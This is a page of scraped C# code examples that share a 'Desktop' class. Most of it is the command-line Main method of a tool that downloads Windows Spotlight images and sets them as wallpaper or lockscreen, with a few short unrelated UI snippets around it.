            _ui._topSplitPane.SetSplitterPosition(0, _state != null ? _state.TopSplitterPosition : 0.75f);
            _ui._leftSplitPane.SetSplitterPosition(0, _state != null ? _state.LeftSplitterPosition : 0.5f);

            _desktop.Widgets.Add(_ui);

            UpdateMenuFile();
        }
Exemple #56
0
 public WindowsBase(Desktop desktop)
 {
     this.desktop = desktop;
 }
Exemple #57
0
		private void Initialize()
		{
			if (_currentDesktop != null)
				return;

			Application.Quitting += new EventHandler<QuittingEventArgs>(OnQuitting);

			try
			{
				LoadAllDesktops();
			}
			catch
			{
				_desktops.Clear();
				_currentDesktop = null;
				throw;
			}
			finally
			{
				if (_currentDesktop == null)
				{
					_currentDesktop = Desktop.CreateCurrent();
					_desktops.Add(_currentDesktop);
				}
			}
		}
Exemple #58
0
 /// <summary>
 /// Constructs window object.
 /// </summary>
 /// <param name="desktop">desktop it belongs to.</param>
 /// <param name="menu">menu to display in this window.</param>
 internal MenuWindow(Desktop desktop, Menu menu)
     : base(desktop, CreationFlag.FlagsNone, "")
 {
     this.menu = menu;
     this.BackColor = Colors.None;
 }
Exemple #59
0
        static void Main(string[] args)
        {
            if (args.Length > 0)
            {
                string action                    = null;
                bool   singleImage               = false;
                bool   maximumRes                = false;
                bool?  portrait                  = false;
                string locale                    = null;
                bool   allLocales                = false;
                string outputDir                 = ".";
                string outputName                = "spotlight";
                bool   integrityCheck            = true;
                bool   downloadMany              = false;
                int    downloadAmount            = int.MaxValue;
                int    cacheSize                 = int.MaxValue;
                bool   metadata                  = false;
                bool   metadataAllowInconsistent = false;
                bool   embedMetadata             = false;
                string fromFile                  = null;
                int    apiTryCount               = 3;
                bool   verbose                   = false;

                switch (args[0].ToLower())
                {
                case "urls":
                case "download":
                case "wallpaper":
                case "lockscreen":
                    action = args[0].ToLower();
                    break;

                default:
                    Console.Error.WriteLine("Unknown action: " + args[0]);
                    Environment.Exit(1);
                    break;
                }

                if (args.Length > 1)
                {
                    for (int i = 1; i < args.Length; i++)
                    {
                        switch (args[i].ToLower())
                        {
                        case "--single":
                            singleImage = true;
                            break;

                        case "--many":
                            downloadMany = true;
                            break;

                        case "--amount":
                            i++;
                            downloadMany = true;
                            if (i >= args.Length)
                            {
                                Console.Error.WriteLine("--amount expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (!int.TryParse(args[i], out downloadAmount) || downloadAmount < 0)
                            {
                                Console.Error.WriteLine("Download amount must be a valid and positive number.");
                                Environment.Exit(1);
                            }
                            if (downloadAmount == 0)
                            {
                                downloadAmount = int.MaxValue;
                            }
                            break;

                        case "--cache-size":
                            i++;
                            if (i >= args.Length)
                            {
                                Console.Error.WriteLine("--cache-size expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (!int.TryParse(args[i], out cacheSize) || cacheSize <= 0)
                            {
                                Console.Error.WriteLine("Cache size must be a valid and strictly positive number.");
                                Environment.Exit(1);
                            }
                            break;

                        case "--maxres":
                            maximumRes = true;
                            break;

                        case "--portrait":
                            portrait = true;
                            break;

                        case "--landscape":
                            portrait = false;
                            break;

                        case "--locale":
                            i++;
                            if (i < args.Length)
                            {
                                locale = args[i];
                            }
                            else
                            {
                                Console.Error.WriteLine("--locale expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (!System.Text.RegularExpressions.Regex.Match(locale, "^[a-z]{2}-[A-Z]{2}$").Success)
                            {
                                Console.Error.WriteLine("--locale expected format is xx-XX, e.g. en-US.");
                                Environment.Exit(1);
                            }
                            break;

                        case "--all-locales":
                            allLocales   = true;
                            downloadMany = true;
                            break;

                        case "--outdir":
                            i++;
                            if (i < args.Length)
                            {
                                outputDir = args[i];
                            }
                            else
                            {
                                Console.Error.WriteLine("--outdir expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (!Directory.Exists(outputDir))
                            {
                                Console.Error.WriteLine("Output directory '" + outputDir + "' does not exist.");
                                Environment.Exit(1);
                            }
                            break;

                        case "--outname":
                            i++;
                            if (i < args.Length)
                            {
                                outputName = args[i];
                            }
                            else
                            {
                                Console.Error.WriteLine("--outname expects an additional argument.");
                                Environment.Exit(1);
                            }
                            foreach (char invalidChar in Path.GetInvalidFileNameChars())
                            {
                                if (outputName.Contains(invalidChar))
                                {
                                    Console.Error.WriteLine("Invalid character '" + invalidChar + "' in specified output file name.");
                                    Environment.Exit(1);
                                }
                            }
                            break;

                        case "--skip-integrity":
                            integrityCheck = false;
                            break;

                        case "--api-tries":
                            i++;
                            if (i >= args.Length)
                            {
                                Console.Error.WriteLine("--api-tries expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (!int.TryParse(args[i], out apiTryCount) || apiTryCount <= 0)
                            {
                                Console.Error.WriteLine("API tries must be a valid and strictly positive number.");
                                Environment.Exit(1);
                            }
                            break;

                        case "--metadata":
                            metadata = true;
                            break;

                        case "--inconsistent-metadata":
                            metadata = true;
                            metadataAllowInconsistent = true;
                            break;

                        case "--embed-meta":
                            embedMetadata = true;
                            break;

                        case "--from-file":
                            i++;
                            if (i < args.Length)
                            {
                                fromFile = args[i];
                            }
                            else
                            {
                                Console.Error.WriteLine("--from-file expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (!File.Exists(fromFile))
                            {
                                Console.Error.WriteLine("Input file '" + fromFile + "' does not exist.");
                                Environment.Exit(1);
                            }
                            break;

                        case "--from-dir":
                            i++;
                            if (i < args.Length)
                            {
                                fromFile = args[i];
                            }
                            else
                            {
                                Console.Error.WriteLine("--from-dir expects an additional argument.");
                                Environment.Exit(1);
                            }
                            if (Directory.Exists(fromFile))
                            {
                                string[] jpegFiles = Directory.EnumerateFiles(fromFile, "*.jpg", SearchOption.AllDirectories).ToArray();
                                if (jpegFiles.Any())
                                {
                                    fromFile = jpegFiles[new Random().Next(0, jpegFiles.Length)];
                                }
                                else
                                {
                                    Console.Error.WriteLine("Input directory '" + fromFile + "' does not contain JPG files.");
                                    Environment.Exit(1);
                                }
                            }
                            else
                            {
                                Console.Error.WriteLine("Input directory '" + fromFile + "' does not exist.");
                                Environment.Exit(1);
                            }
                            break;

                        case "--restore":
                            if (action == "lockscreen")
                            {
                                if (FileSystemAdmin.IsAdmin())
                                {
                                    try
                                    {
                                        Lockscreen.RestoreDefaultGlobalLockscreen();
                                        Environment.Exit(0);
                                    }
                                    catch (Exception e)
                                    {
                                        Console.Error.WriteLine(e.GetType() + ": " + e.Message);
                                        Environment.Exit(4);
                                    }
                                }
                                else
                                {
                                    Console.Error.WriteLine("This program must run as administrator to restore the global lockscreen.");
                                    Environment.Exit(4);
                                }
                            }
                            break;

                        case "--verbose":
                            verbose = true;
                            break;

                        default:
                            Console.Error.WriteLine("Unknown argument: " + args[i]);
                            Environment.Exit(1);
                            break;
                        }
                    }

                    if (downloadMany && cacheSize < downloadAmount)
                    {
                        Console.Error.WriteLine(
                            "Download amount ({0}) is greater than cache size ({1}). Reducing download amount to {1}.",
                            downloadAmount == int.MaxValue ? "MAX" : downloadAmount.ToString(),
                            cacheSize
                            );
                        downloadAmount = cacheSize;
                    }

                    if (downloadMany && metadata && allLocales && !metadataAllowInconsistent)
                    {
                        Console.Error.WriteLine("--metadata combined with --all-locales will produce random metadata languages.");
                        Console.Error.WriteLine("Please relaunch with --inconsistent-metadata if you really intend to do this.");
                        Environment.Exit(1);
                    }
                }

                try
                {
                    Queue <string> remainingLocales = new Queue <string>();

                    if (allLocales)
                    {
                        remainingLocales = new Queue <string>(Locales.AllKnownSpotlightLocales);
                        Console.Error.WriteLine(String.Format("Starting download using {0} locales", remainingLocales.Count));
                        locale = remainingLocales.Dequeue();
                        Console.Error.WriteLine(String.Format("Switching to {0} - {1} locales remaining", locale, remainingLocales.Count + 1));
                    }

                    int downloadCount = 0;
                    int noNewImgCount = 0;

                    do
                    {
                        SpotlightImage[] images = (fromFile != null && (action == "wallpaper" || action == "lockscreen"))
                            ? new[] { new SpotlightImage() } // Skip API request, we'll use a local file
                            : Spotlight.GetImageUrls(maximumRes, portrait, locale, apiTryCount);

                        if (images.Length < 1)
                        {
                            Console.Error.WriteLine(Program.Name + " received an empty image set from Spotlight API.");
                            Environment.Exit(2);
                        }

                        SpotlightImage randomImage = images.OrderBy(p => new Guid()).First();

                        if (action == "urls")
                        {
                            if (singleImage)
                            {
                                Console.WriteLine(randomImage.Uri);
                            }
                            else
                            {
                                foreach (SpotlightImage image in images)
                                {
                                    Console.WriteLine(image.Uri);
                                }
                            }
                            Environment.Exit(0);
                        }

                        try
                        {
                            if (singleImage || action == "wallpaper" || action == "lockscreen")
                            {
                                string imageFile = fromFile ?? randomImage.DownloadToFile(outputDir, integrityCheck, metadata, outputName, apiTryCount);
                                if (embedMetadata)
                                {
                                    imageFile = SpotlightImage.EmbedMetadata(imageFile, outputDir, outputName);
                                }
                                Console.WriteLine(imageFile);
                                if (action == "wallpaper")
                                {
                                    try
                                    {
                                        Desktop.SetWallpaper(imageFile);
                                    }
                                    catch (Exception e)
                                    {
                                        Console.Error.WriteLine(e.GetType() + ": " + e.Message);
                                        Environment.Exit(4);
                                    }
                                }
                                else if (action == "lockscreen")
                                {
                                    if (FileSystemAdmin.IsAdmin())
                                    {
                                        try
                                        {
                                            Lockscreen.SetGlobalLockscreen(imageFile);
                                        }
                                        catch (Exception e)
                                        {
                                            Console.Error.WriteLine(e.GetType() + ": " + e.Message);
                                            Environment.Exit(4);
                                        }
                                    }
                                    else
                                    {
                                        Console.Error.WriteLine("This program must run as administrator to change the global lockscreen.");
                                        Environment.Exit(4);
                                    }
                                }
                                Environment.Exit(0);
                            }

                            downloadCount = 0;

                            foreach (SpotlightImage image in images)
                            {
                                string imagePath = image.GetFilePath(outputDir);
                                if (!File.Exists(imagePath))
                                {
                                    try
                                    {
                                        Console.WriteLine(image.DownloadToFile(outputDir, integrityCheck, metadata, null, apiTryCount));
                                        downloadCount++;
                                        downloadAmount--;
                                        if (downloadAmount <= 0)
                                        {
                                            break;
                                        }
                                    }
                                    catch (InvalidDataException)
                                    {
                                        Console.Error.WriteLine("Skipping invalid image: " + image.Uri);
                                    }
                                }
                            }

                            if (verbose)
                            {
                                Console.Error.WriteLine("Successfully downloaded: " + downloadCount + " images.");
                                Console.Error.WriteLine("Already downloaded: " + (images.Length - downloadCount) + " images.");
                            }

                            if (downloadCount == 0)
                            {
                                noNewImgCount++;
                            }
                            else
                            {
                                noNewImgCount = 0;
                            }
                        }
                        catch (Exception e)
                        {
                            Console.Error.WriteLine(e.GetType() + ": " + e.Message);
                            Environment.Exit(3);
                        }

                        if (allLocales && noNewImgCount >= 50 && remainingLocales.Count > 0)
                        {
                            noNewImgCount = 0;
                            locale        = remainingLocales.Dequeue();
                            Console.Error.WriteLine(String.Format("Switching to {0} - {1} locales remaining", locale, remainingLocales.Count + 1));
                        }
                    } while (downloadMany && (downloadCount > 0 || noNewImgCount < 50) && downloadAmount > 0);

                    if (cacheSize < int.MaxValue && cacheSize > 0)
                    {
                        foreach (FileInfo imgToDelete in
                                 Directory.GetFiles(outputDir, "*.jpg", SearchOption.TopDirectoryOnly)
                                 .Select(filePath => new FileInfo(filePath))
                                 .OrderByDescending(fileInfo => fileInfo.CreationTime)
                                 .Skip(cacheSize))
                        {
                            string metadataFile = SpotlightImage.GetMetaLocation(imgToDelete.FullName);
                            if (File.Exists(metadataFile))
                            {
                                File.Delete(metadataFile);
                            }
                            imgToDelete.Delete();
                        }
                    }

                    Environment.Exit(0);
                }
                catch (Exception e)
                {
                    Console.Error.WriteLine(e.GetType() + ": " + e.Message);
                    Environment.Exit(2);
                }
            }

            foreach (string str in new[] {
                " ==== " + Program.Name + " v" + Program.Version + " - By ORelio - Microzoom.fr ====",
                "",
                "Retrieve Windows Spotlight images by requesting the Microsoft Spotlight API.",
                Program.Name + " can also define images as wallpaper and system-wide lockscreen image.",
                "",
                "Usage:",
                "  " + Program.Name + ".exe <action> [arguments]",
                "  Only one action must be provided, as first argument",
                "  Then, provide any number of arguments from the list below.",
                "",
                "Actions:",
                "  urls               Query Spotlight API and print image URLs to standard output",
                "  download           Download all images and print file path to standard output",
                "  wallpaper          Download one random image and define it as wallpaper",
                "  lockscreen         Download one random image and define it as global lockscreen",
                "",
                "Arguments:",
                "  --single           Print only one random url or download only one image as spotlight.jpg",
                "  --many             Try downloading as much images as possible by calling API many times",
                "  --amount <n>       Stop downloading after <n> images successfully downloaded, implies --many",
                "  --cache-size <n>   Only keep <n> most recent images in the output directory, delete others",
                "  --maxres           Force maximum image resolution instead of tailoring to current screen res",
                "  --portrait         Force portrait image instead of autodetecting from current screen res",
                "  --landscape        Force landscape image instead of autodetecting from current screen res",
                "  --locale <xx-XX>   Force specified locale, e.g. en-US, instead of autodetecting from system",
                "  --all-locales      Attempt to download images for all known Spotlight locales, implies --many",
                "  --outdir <dir>     Set output directory instead of defaulting to working directory",
                "  --outname <name>   Set output file name as <name>.ext for --single or --embed-meta",
                "  --skip-integrity   Skip integrity check of downloaded files: file size and sha256 hash",
                "  --api-tries <n>    Amount of unsuccessful API calls before giving up. Default is 3.",
                "  --metadata         Also save image metadata such as title & copyright as <image-name>.txt",
                "  --embed-meta       When available, embed metadata into wallpaper or lockscreen image",
                "  --from-file        Set the specified file as wallpaper/lockscreen instead of downloading",
                "  --from-dir         Set a random image from the specified directory as wallpaper/lockscreen",
                "  --restore          Restore the default lockscreen image, has no effect with other actions",
                "  --verbose          Display additional status messages while downloading images from API",
                "",
                "Exit codes:",
                "  0                  Success",
                "  1                  Invalid arguments",
                "  2                  Spotlight API request failure",
                "  3                  Image download failure or Failed to write image to disk",
                "  4                  Failed to define image as wallpaper or lock screen image"
            })
            {
                Console.Error.WriteLine(str);
            }
            Environment.Exit(1);
        }
Exemple #60
0
			public static Desktop CreateCurrent()
			{
				Desktop desktop = new Desktop(SystemInformation.VirtualScreen);
				desktop._screens.AddRange(Screen.GetAllScreens());
				return desktop;
			}